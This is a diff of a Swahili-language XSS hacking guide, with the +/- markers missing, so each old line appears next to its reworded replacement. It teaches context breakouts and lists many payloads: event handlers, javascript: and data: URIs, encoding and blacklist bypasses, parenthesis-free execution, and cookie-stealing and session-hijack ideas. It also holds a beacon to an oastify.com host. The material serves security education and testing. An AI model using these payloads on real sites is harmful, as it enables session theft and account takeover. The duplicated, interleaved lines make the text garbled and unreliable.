3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
3. Je, sifa ambapo umekamatwa inasaidia utekelezaji wa JS?
4. Je, unaweza kupita ulinzi?
3. Ndani ya **JavaScript code**:
1. Je, unaweza kutoroka `<script>` tag?
@ -35,7 +35,7 @@ debugging-client-side-js.md
## Reflected values
Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
- **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
- **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
@ -43,7 +43,7 @@ Ili kufanikiwa kutumia XSS jambo la kwanza unahitaji kupata ni **thamani inayodh
## Contexts
Unapojaribu kutumia XSS jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila kikomo kwa njia tofauti.
### Raw HTML
@ -56,7 +56,7 @@ Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali ya `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila kikomo inapobofya. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code bila kikomo: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
@ -67,10 +67,10 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
```
### Ndani ya msimbo wa JavaScript
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** vitambulisho vya ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** vitambulisho, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua vitambulisho vya HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba vitambulisho vyako vilivyoingizwa `</script>` viko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitaweza kutekelezwa):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -98,9 +98,9 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../images/image (711).png>)
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**).
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
![](<../../images/image (747).png>)
@ -114,9 +114,9 @@ parentElement
```
Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
Hata hivyo, kawaida, mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho ambao huna DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** uanzishwaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
{{#ref}}
some-same-origin-method-execution.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
Aina hizi za XSS zinaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hizi za **utekaji wa JavaScript isiyo na mipaka** zinaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu kwenye unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha** **wowote**. Aina hii ya **utekelezaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Baadhi ya **esemples**:
{{#ref}}
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
## Kuingiza ndani ya HTML safi
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **kitu cha kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** ile **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho ndipo utaweza kutumia kesi hii**.\
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_
Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama:
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
```html
<script>
alert(1)
@ -161,16 +161,16 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
Mara tu umepata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
### Tags/Events kujaribu nguvu
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
### Tags za kawaida
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **kuangazia kitu hicho** na **kutekeleza** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -243,7 +243,7 @@ Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** ye
### Impossible - Dangling Markup
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **msimbo wa JS**.
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **msimbo wa JS**.
## Injecting inside HTML tag
@ -267,12 +267,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobonyezwa.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/URL encode**
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```javascript
@ -301,9 +301,9 @@ Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Mipango Maalum Ndani ya sifa
### Protokali Maalum Ndani ya sifa
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
Hapa unaweza kutumia protokali **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,8 +325,8 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mahali ambapo unaweza kuingiza protokali hizi**
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa ya `href`** na katika **zaidi ya** tag nyingi zinazokubali **sifa ya `src`** (lakini si `<img>`)
```markup
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika lebo yoyote inayokubali sifa `href`** na katika **zaidi ya** lebo nyingi zinazokubali **sifa `src`** (lakini si `<img`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -351,13 +351,13 @@ _**Katika kesi hii, usimbuaji wa HTML na hila ya usimbuaji wa Unicode kutoka seh
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa ajili ya kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapokuwa limeandikwa kwa URL, litakuwa limeondolewa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapokuwa limeandikwa kwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **njia nzuri** nyingine kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa limeondolewa URL kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **limeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
Kumbuka kwamba ukijaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
**Kutumia Hex na Octal encode na `javascript:`**
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -423,17 +423,17 @@ onbeforetoggle="alert(2)" />
<div popover id="newsletter">Newsletter popup</div>
```
Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields): Unaweza kutekeleza **XSS payload ndani ya sifa iliyofichwa**, ikiwa unaweza **kushawishi** **mhasiriwa** kubonyeza **mchanganyiko wa funguo**. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni **ALT+SHIFT+X** na kwenye OS X ni **CTRL+ALT+X**. Unaweza kubaini mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika sifa ya ufikiaji. Hapa kuna vector:
```markup
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Mchango wa XSS utakuwa kama ifuatavyo: `" accesskey="x" onclick="alert(1)" x="`**
### Kupita kwenye Orodha ya Blacklist
Njia kadhaa za kutumia uandishi tofauti zimeonyeshwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
Njia kadhaa za kutumia uandishi tofauti zimefunuliwa tayari ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
- **Uandishi wa HTML (HTML tags)**
- **Uandishi wa Unicode (unaweza kuwa ni msimbo halali wa JS):** `\u0061lert(1)`
- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
- **Uandishi wa URL**
- **Uandishi wa Hex na Octal**
- **Uandishi wa data**
@ -448,7 +448,7 @@ Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blac
### CSS-Gadgets
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,19 +468,19 @@ Hila hii ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impact
## Kuingiza ndani ya msimbo wa JavaScript
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya lebo za `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya `<script>...</script>` tags au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kutoroka lebo ya \<script>
### Kutoroka \<script> tag
Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi **kutoroka kufunga lebo ya `<script>`**:
Ikiwa msimbo wako umeingizwa ndani ya `<script> [...] var input = 'reflected data' [...] </script>` unaweza kwa urahisi **kutoroka kufunga `<script>`** tag:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
Kumbuka kwamba katika mfano huu **hatujaweza hata kufunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
### Ndani ya msimbo wa JS
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo na mpangilio**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo na mpangilio**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -489,22 +489,22 @@ Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina
### Template literals \`\`
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
Hivyo, ikiwa unapata kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Hii inaweza **kutumiwa vibaya** kwa kutumia:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### Utekelezaji wa msimbo uliokodishwa
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -518,7 +518,7 @@ alert(1)
```
### Mbinu za kupita orodha za mblacklist za JavaScript
**Mifumo ya maandiko**
**Mifumo ya maneno**
```javascript
"thisisastring"
'thisisastrig'
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Mstari mipya ya JavaScript (kutoka** [**hila ya mstari mpya wa JavaScript**](#javascript-new-lines) **)**
**Mstari mpya wa JavaScript (kutoka** [**njia ya mstari mpya wa JavaScript**](#javascript-new-lines) **trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**JavaScript bila mabano**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Kuita kazi isiyo na mipaka (alert)**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,10 +735,10 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **Vikosi vya DOM**
Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
Kuna **kodiyaki ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyaki ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{{#ref}}
@ -752,7 +752,7 @@ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelez
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zilizo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma mzigo ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika kikoa chote na kufanikisha kuanzisha cookie XSS katika kikoa kikuu au subdomains zingine (zinazohatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,15 +766,15 @@ Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko nd
### Kurefusha Kikao
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin kusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
## Njia Nyingine za Kupita
## Bypass Nyingine
### Unicode Iliyosawazishwa
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** kwenye seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawasishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -794,7 +794,7 @@ Pairi "Key","Value" itarudi kama ifuatavyo:
Kisha, sifa ya onfocus itaingizwa na XSS inatokea.
### Mchanganyiko maalum
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
